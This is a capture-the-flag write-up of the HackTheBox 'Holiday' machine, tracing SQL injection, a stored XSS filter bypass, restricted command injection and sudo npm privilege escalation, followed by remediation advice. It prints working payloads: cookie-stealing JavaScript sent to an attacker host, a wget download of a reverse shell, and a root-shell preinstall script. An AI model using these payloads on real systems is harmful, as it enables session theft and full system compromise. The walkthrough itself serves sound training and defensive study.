Overview
Holiday is a hard-rated Linux machine running Ubuntu 16.04 with a Node.js
web application. The attack chain requires four distinct exploitation
phases: SQL injection on the login form to extract credentials, stored XSS
via booking notes to steal an admin session cookie from a PhantomJS bot,
command injection on an export endpoint with a severely restricted character
set, and privilege escalation through sudo npm install with a malicious
preinstall script.
This box is one of the more demanding machines on HackTheBox, not because any single vulnerability is complex, but because the combination of filter bypasses and character restrictions demands precise payloads. The command injection phase is particularly constrained: the character filter blocks hyphens, dots, colons, pipes, redirections, and most special characters, leaving the attacker with only lowercase alphanumerics, ampersands, spaces, and forward slashes.
Reconnaissance
nmap -sC -sV -oA scans/holiday 10.129.29.106
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 7.2p2 Ubuntu | Ubuntu 16.04 |
| 8000 | HTTP | Node.js | Booking application |
Two services. Port 8000 serves a Node.js web application. The nmap scan reveals that requests require a User-Agent containing “Linux” to receive valid responses; without it, the application returns empty responses.
Attack Surface Analysis
Login form: SQL injection
The /login endpoint is vulnerable to SQL injection. The application uses
SQLite as its backend database. I run sqlmap with elevated detection
sensitivity because the injection is not straightforward:
sqlmap -r sqlmap.req --level=5 --risk=3 --dump-all
The users table contains one entry:
| id | active | username | password |
|---|---|---|---|
| 1 | 1 | RickA | fdc8cd4cff2c19e0d1022e78481ddf36 |
The MD5 hash cracks to nevergonnagiveyouup. A Rick Astley reference in a
CTF. Of course.
Booking notes: stored XSS target
After logging in as RickA, the application allows creating bookings with a
notes field. These notes are reviewed by an admin bot (PhantomJS 2.1.1)
approximately every 60 seconds. The admin’s session cookie is stored in a
hidden form input (document.getElementsByName("cookie")[0].value) rather
than as a standard HTTP cookie, which means the bot’s review process
extracts the cookie from the DOM.
Vulnerability Analysis
The XSS filter on booking notes is aggressive but bypassable. Key behaviours:
<img>tags are whitelisted; quotes are stripped from thesrcattribute- Event handlers (
onerror,onload) are stripped case-insensitively - Angle brackets within attribute values are entity-encoded
<script>tags are blocked
The bypass uses <img> tag injection with String.fromCharCode to avoid
keyword filtering:
<img src="/><script>eval(String.fromCharCode(CODES))</script>" />
The fromCharCode payload decodes to JavaScript that loads an external
script from the attacker’s HTTP server. That script reads the admin cookie
from the DOM and exfiltrates it via an image request.
| Attribute | Value |
|---|---|
| CWE | CWE-79 (Stored Cross-Site Scripting) |
| CVSS 3.1 | 8.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N) |
| Root cause | Incomplete input sanitisation on booking notes |
| Prerequisite | Authenticated user (RickA) |
Exploitation
Phase 1: stored XSS to steal admin cookie
I set up an HTTP server to serve the XSS payload and capture the exfiltrated cookie. The JavaScript payload:
document.write('<script src="http://ATTACKER:9999/holiday.js"></script>');
The holiday.js file reads the cookie from the DOM and sends it to the
attacker:
var cookie = document.getElementsByName("cookie")[0].value;
new Image().src = "http://ATTACKER:9999/steal?c=" + cookie;
Within 60 seconds, the PhantomJS bot reviews the booking note, executes the JavaScript, and sends the admin cookie to my listener.
Phase 2: command injection on export endpoint
The admin session unlocks the /admin/export endpoint. The table
parameter injects into a shell command. The character filter is strict:
only [a-z0-9&\s\/] characters are permitted. This blocks hyphens, dots,
colons, pipes, redirections, backticks, and dollar signs.
I confirm execution:
/admin/export?table=bookings%26id
# uid=1001(algernon) gid=1001(algernon) groups=1001(algernon)
The command runs as user algernon. The character restriction prevents most
standard approaches:
- No colons: cannot specify alternative ports in wget/curl URLs
- No redirections: cannot write output to files via
> - No pipes: cannot chain commands with
| - No hyphens: cannot use command flags (
-e,-o,-c) - No dots: cannot reference files like
user.txtor IP addresses
The intended path downloads a reverse shell script using wget to an HTTP
server on port 80 (no colon needed for default port). The command:
bookings%26wget HEX_IP/shell
Where HEX_IP is the attacker IP in hexadecimal notation (avoiding dots).
The downloaded script is then executed in a second injection.
Phase 3: privilege escalation via sudo npm install
With a shell as algernon:
sudo -l
# (ALL) NOPASSWD: /usr/bin/npm i *
The npm install command executes lifecycle scripts defined in
package.json. A preinstall script runs before any packages are
installed, as root (because sudo):
{
"name": "root_please",
"version": "1.0.0",
"scripts": {
"preinstall": "/bin/bash"
}
}
sudo npm i /path/to/package --unsafe
This drops into a root shell.
Post-Exploitation
The box runs a Node.js application as user algernon with a PhantomJS
2.1.1 headless browser for admin note review. PhantomJS 2.1.1 is based on
an outdated WebKit engine with known vulnerabilities; in a production
environment, this would be an additional attack vector for browser-based
exploitation.
The sudo npm install configuration is the most critical finding from a
defensive perspective. npm lifecycle scripts execute arbitrary code, and
granting sudo access to npm i with a wildcard is functionally equivalent
to unrestricted root access.
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial Access | T1190 | SQLi signatures in WAF; parameterised queries |
| Execution | T1059.007 | XSS payload detection in stored content |
| Credential Access | T1539 | Cookie theft via XSS; HttpOnly flag would mitigate |
| Execution | T1059.004 | Command injection in export; input validation |
| Privilege Escalation | T1548.003 | sudo npm audit; lifecycle script monitoring |
The XSS filter demonstrates why denylists fail. The developer blocked
<script> tags, event handlers, and certain attribute patterns, but missed
the combination of <img> tag injection with JavaScript string encoding.
Content Security Policy (CSP) headers would have prevented the external
script load regardless of the XSS payload structure.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Remove sudo npm install from algernon’s sudoers | Low | Critical |
| P0 | Fix SQL injection with parameterised queries | Medium | Critical |
| P0 | Implement proper output encoding for stored content | Medium | Critical |
| P1 | Deploy CSP headers to prevent external script loading | Low | High |
| P1 | Set HttpOnly on session cookies | Low | High |
| P1 | Allowlist table names in the export endpoint | Low | High |
| P2 | Replace PhantomJS with a maintained headless browser | Medium | Medium |
| P2 | Restrict outbound connections with iptables egress rules | Medium | Medium |
| P3 | Upgrade to a supported Ubuntu release | High | Medium |
The sudo npm configuration deserves emphasis. npm install is a code
execution primitive; granting it sudo access is equivalent to granting
unrestricted root. This pattern appears in production environments more
often than it should, typically in CI/CD pipelines where developers add
npm to sudoers “temporarily” to fix a permissions issue, then forget to
remove it.
Key Takeaways
-
Stored XSS against automated bots is a real attack pattern. The PhantomJS admin bot simulates a common scenario: automated systems that process user-submitted content. Ticketing systems, CMS moderation queues, and customer support platforms all present this attack surface. If the system processes HTML content in a browser context, stored XSS can steal session tokens.
-
Character-restricted command injection requires creative encoding. When the character filter blocks most special characters, alternative representations (hexadecimal IPs, default ports, URL encoding) can reconstruct the needed functionality. The constraint on Holiday is severe enough that standard techniques all fail; the attacker must understand the underlying tools well enough to work within the restrictions.
-
npm lifecycle scripts are code execution. Any npm command that processes a
package.jsonfile will execute lifecycle scripts (preinstall,postinstall,prepare). Granting sudo access to npm is granting sudo access to arbitrary code execution. The same applies to pip, gem, cargo, and every other package manager with lifecycle hooks. -
Defence-in-depth means each layer must be independently sufficient. The XSS filter, the command injection character filter, and the sudo restriction each had exploitable gaps. If any one of these controls had been implemented correctly, the attack chain would have broken.